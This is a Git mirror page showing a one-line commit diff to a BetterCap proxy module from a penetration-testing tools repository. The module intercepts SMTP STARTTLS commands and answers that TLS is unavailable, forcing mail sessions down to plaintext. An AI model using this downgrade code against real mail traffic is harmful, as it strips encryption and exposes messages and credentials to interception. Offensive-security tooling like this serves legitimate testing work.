mirror of
				https://github.com/mgeeky/Penetration-Testing-Tools.git
				synced 2025-11-04 04:55:26 +01:00 
			
		
		
		
	Update smtpdowngrade.rb
This commit is contained in:
		@@ -30,7 +30,7 @@ class SMTPDowngrade < BetterCap::Proxy::TCP::Module
 | 
			
		||||
    def smtp_parse_request(event)
 | 
			
		||||
        return nil if not event.data
 | 
			
		||||
 | 
			
		||||
        if event.data =~ /^STARTTLS\s*\r\n/
 | 
			
		||||
        if event.data =~ /^STARTTLS.*/
 | 
			
		||||
            BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
 | 
			
		||||
            @respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user